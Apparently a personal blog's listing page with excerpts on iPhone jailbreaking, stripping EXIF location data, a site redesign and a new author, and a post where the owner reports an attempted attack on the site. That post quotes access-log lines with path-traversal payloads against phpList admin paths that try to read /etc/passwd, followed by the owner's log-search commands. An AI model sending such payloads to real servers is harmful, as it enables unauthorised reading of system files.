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Jailbreaking iPhone 3G – Getting More Action!
Apple no longer supports 2nd Gen iPod Touch & iPhone 3G, but that doesn’t mean you can’t get more life and excitement out of your iOS Device! Time to Jailbreak!
Read on for my story of why I chose to jailbreak and why you should too!
Why and How to Remove EXIF (Meta/GeoTag/GPS) Data From Pics
Do you have a smart-phone (or a modern camera with GPS)? Do you take pics with it? Do you ever upload them on the internet (social networking, tweeting, forums, email) or text them? Well did you know there is (probably*) hidden data in those pics that anyone could use to track your location. Scary isn’t it?! The hidden data is referred to as EXIF (or sometimes just Meta-data) and contains information like the camera make and model, the image dimensions, and yes: GPS coordinates…
I’ll show you how to remove that in this post!
New Theme and Site Navigation (Bonus: Poll)
Well I mentioned recently that I was going to make a new theme for the site and here it is! To go with the new theme I also changed the navigation. Now the menu is sorted by topic only and is pretty straightforward. (If for some reason you liked the old “Antidote” category posts, they are still here, just under “Tech Stuff”).
Some of these new sections are empty — as in there are no posts there yet — but that will change in the near future. I now have another author to help add content to this site, so stay tuned.
For comparison I have included some small screenshots of the old and new themes with a new poll
Excited Newb
Hello everyone name is Jeremy, some know me better as T. But more on that later *nods*
Well First I want to say it’s awesome to be here on Alex’s Antidote! he made me aware of this site the other day when I made a post on Facebook about the passing of Dwayne McDuffie (RIP). Since then I’ve looked over the board and in talks with Alex I’ve decided to jump on board as a writer/author here. I look forward to talking about some of the things I personally love to enjoy in life; Comic Books, Movies, and TV shows/cartoons. I may sometimes post something on Sports just to annoy you all, but it’ll be mostly about Comics.
Attempted Hack on My Site?! Really?!
Exponentially increased traffic?
So I logged in to my site today and noticed my traffic had spiked exponentially! Check out the screenshot of the bar graph (showing yesterday and today for comparison). 300 visitors and 3000 pageviews in a single day? On my humble little website? Way too good to be true!
So I looked further and found some unsettling info in the visitor statistics… It looked something like this:
14:38:08 //lists/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 14:38:09 //newsletter/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 14:38:10 //news/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 14:38:10 //phplist/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 14:38:11 //phpList/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 14:38:12 //admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 14:38:13 //phplist/lsts/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 14:38:14 //phplists/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 14:38:14 //list/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwdLooks like someone was trying to pull a RFI — Remote File Inclusion — attack on my site…
Next I checked my logs:
cat /var/www/logs/*.log | grep '\.\.\/\.\.\/' > /tmp/rfi_attack.log cat /var/www/logs/*.log